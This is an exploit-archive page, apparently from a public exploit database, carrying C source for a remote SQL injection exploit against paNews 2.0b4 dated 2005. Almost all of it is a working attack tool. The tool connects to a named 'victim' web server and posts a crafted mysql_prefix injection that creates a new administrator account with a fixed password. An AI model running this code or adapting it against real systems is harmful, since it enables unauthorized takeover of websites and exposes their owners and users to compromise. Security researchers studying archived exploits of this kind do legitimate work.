[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : paNews 2.0b4 Remote Admin Creation SQL Injection Exploit
# Published : 2005-03-08
# Author : Silentium
# Previous Title : Serendipity 0.7-beta1 SQL Injection Proof of Concept
# Next Title : Aztek Forum <= 4.0 [myadmin.php] Database Dumper Exploit
/***************************************************
* *
* paNews v2.0b4 *
* *
* silePNEWSxpl *
* This exploit utilize SQL injection for create *
* a new user with admin privileges on paNews *
* software system. *
* *
* References: *
* packetstormsecurity.org/0503-exploits/panews.txt *
*
* *
* coded by: Silentium of Anacron Group Italy *
* date: 04/03/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron-group-italy *
* *
* this tool is developed under GPL license *
* no(c) .:. copyleft *
* *
***************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80 // port of the web server
void info(void);
void sendxpl(int sock, char *argv[]);
void errsock(void);
void errgeth(void);
void errconn(void);
int main(int argc, char *argv[]){
int sock, sockconn;
struct sockaddr_in addr;
struct hostent *hp;
if(argc!=4)
info();
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
errsock();
system("clear");
printf("[*] Creating socket [OK]n");
if((hp = gethostbyname(argv[1])) == NULL)
errgeth();
printf("[*] Resolving victim host [OK]n");
memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
errsock();
printf("[*] Connecting at victim host [OK]n");
sendxpl(sock, argv);
printf("[*] Now check onn"
" http://%s%snn"
" your username: %sn"
" with password: anacronnn",argv[1],argv[2],argv[3]);
shutdown(sock, 2);
close(sock);
return(0);
}
void info(void){
system("clear");
printf("#########################################n"
"# paNews v2.0b4 exploit #n"
"#########################################n"
"# this exploit create a new user admin #n"
"# on paNews software system. #n"
"# exploit coded by Silentium #n"
"# Anacron Group Italy #n"
"# www.autistici.org/anacron-group-italy #n"
"#########################################nn"
"[usage]nn"
" silePNEWSxpl <victim> <path_paNews> <username>nn"
"[example]nn"
" silePNEWSxpl www.victim.com /panews/index.php silentiumnn");
exit(1);
}
void sendxpl(int sock, char *argv[]){
FILE *out;
int size = 264;
out = fdopen(sock,"a");
setbuf(out,NULL);
size+=(strlen(argv[3]) * 2);
fprintf(out,"POST %s HTTP/1.0n"
"Connection: Keep-Aliven"
"Pragma: no-cachen"
"Cache-control: no-cachen"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identityn"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5n"
"Accept-Language: enn"
"Host: %sn"
"Referer: http://%s%sn"
"Content-Type: application/x-www-form-urlencodedn"
"Content-Length: %dnn"
"action%%3Dlogin%%26username%%3D%s%%26password%%3Danacron%%26"
"mysql_prefix%%3Dpanews_auth%%60%%20VALUES%%20(%%22%%22,%%22"
"%s%%22,%%22f63140655b379e65f6cd87fa3c3da631%%22,%%22"
"hackit%%22,%%22admins%%7Ccat%%7Ccomment%%7Cnewsadd%%7Cnewsedit"
"%%7Cprefset%%7Csetup%%22,%%22none%%22,%%22127.0.0.1%%22"
",1,1)%%00nn",argv[2],argv[1],argv[1],argv[2],size,argv[3],argv[3]);
printf("[*] Sending exploit [OK]nn");
}
void errsock(void){
system("clear");
printf("[x] Creating socket [FAILED]nn");
exit(1);
}
void errgeth(void){
printf("[x] Resolving victim host [FAILED]nn");
exit(1);
}
void errconn(void){
printf("[x] Connecting at victim host [FAILED]nn");
exit(1);
}
// www.Syue.com [2005-03-08]